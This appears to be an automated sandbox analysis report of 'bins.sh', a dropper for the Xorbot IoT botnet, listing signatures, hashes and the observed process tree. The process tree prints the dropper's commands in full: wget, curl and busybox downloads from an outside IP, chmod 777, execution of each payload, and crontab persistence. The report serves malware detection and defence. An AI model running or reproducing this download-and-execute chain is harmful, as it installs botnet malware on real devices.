Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-12-2024 02:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1da16902d7c5601131994e6c7188579b

  • SHA1

    66658b1510c47b2293d64f6f29ffadfaac1ba126

  • SHA256

    a527f457c05c52627d9ac88b3fb6f7dd65b7de796e8c1bab1d761c3dd2a83dc6

  • SHA512

    c9959bb121b46e0ff62f2750ea6927810ae204a778e28ba2db6f9a2dee9b38296642c45af45fcb9f8f25c84402e45e50009c3c119db97b18d06ea84dda785fb4

  • SSDEEP

    192:k2c41phAQq2Si/XdccYcXTOU1phAQkLG2Si/XU/YO:k2c41phAQq2Si/XdccYcXTOU1phAQkLC

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1480
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1481
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:1482
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:1486
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Writes file to tmp directory
          PID:1487
        • /bin/chmod
          chmod 777 OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • File and Directory Permissions Modification
          PID:1489
        • /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          ./OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
          • Executes dropped EXE
          PID:1490
        • /bin/rm
          rm OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5
          2⤵
            PID:1492
          • /usr/bin/wget
            wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Writes file to tmp directory
            PID:1493
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Writes file to tmp directory
            PID:1494
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Writes file to tmp directory
            PID:1495
          • /bin/chmod
            chmod 777 p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • File and Directory Permissions Modification
            PID:1496
          • /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            ./p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
            • Executes dropped EXE
            PID:1497
          • /bin/rm
            rm p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1
            2⤵
              PID:1499
            • /usr/bin/wget
              wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:1500
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:1501
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:1502
            • /bin/chmod
              chmod 777 vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • File and Directory Permissions Modification
              PID:1503
            • /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              ./vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:1504
            • /bin/rm
              rm vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA
              2⤵
              • System Network Configuration Discovery
              PID:1506
            • /usr/bin/wget
              wget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
              2⤵
              • Writes file to tmp directory
              PID:1507
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
              2⤵
              • Writes file to tmp directory
              PID:1508
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
              2⤵
              • Writes file to tmp directory
              PID:1509
            • /bin/chmod
              chmod 777 trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
              2⤵
              • File and Directory Permissions Modification
              PID:1510
            • /tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
              ./trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
              2⤵
              • Executes dropped EXE
              PID:1511
            • /bin/rm
              rm trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM
              2⤵
                PID:1513
              • /usr/bin/wget
                wget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                2⤵
                • Writes file to tmp directory
                PID:1514
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                2⤵
                • Writes file to tmp directory
                PID:1515
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                2⤵
                • Writes file to tmp directory
                PID:1516
              • /bin/chmod
                chmod 777 u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                2⤵
                • File and Directory Permissions Modification
                PID:1517
              • /tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                ./u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1518
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1520
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1521
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1522
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1523
                    • /bin/rm
                      rm u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi
                      2⤵
                        PID:1525
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/OgxXyFmNE0oMrSfUUrUdZCnG5wFs6EiEt9
                        2⤵
                          PID:1528

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/OR4zcNWQeUM1Nmw6OqsHjIEhSBK5yFRyO5

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /tmp/p6kHJFwFoOsTXvD5czNNuOnQoZ5A6nx9B1

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/trJBagVuon0Rqzo9lpNk9hXKbt9jgBCMtM

                        Filesize

                        122KB

                        MD5

                        cd3d4b9c643e5b473fb4d88ed05f0716

                        SHA1

                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                        SHA256

                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                        SHA512

                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                      • /tmp/u84t4WMdzEd1Gjzuw4JRxnAyrphf6oFqPi

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/vOY9PxORiT1XYizjwa6iPHyapwMlonbXIA

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /var/spool/cron/crontabs/tmp.tBniOT

                        Filesize

                        210B

                        MD5

                        8c0378a1c1bc5a48c075b21b01a7c67a

                        SHA1

                        04b1ccc7973cef3c12c111a4a807b5ecfa833249

                        SHA256

                        245aba52d3e8f7d8523c9a72b08cf0eadc4ca3cd0e511099f8af085e4968dc2d

                        SHA512

                        c1b0380365cb0290696e8a9a50e7c6349a46e9038d754fa89fada73de1de72511f2f283b46218d338fe10c08729946346362dc6f88a0741ecf98cdd73809c0c5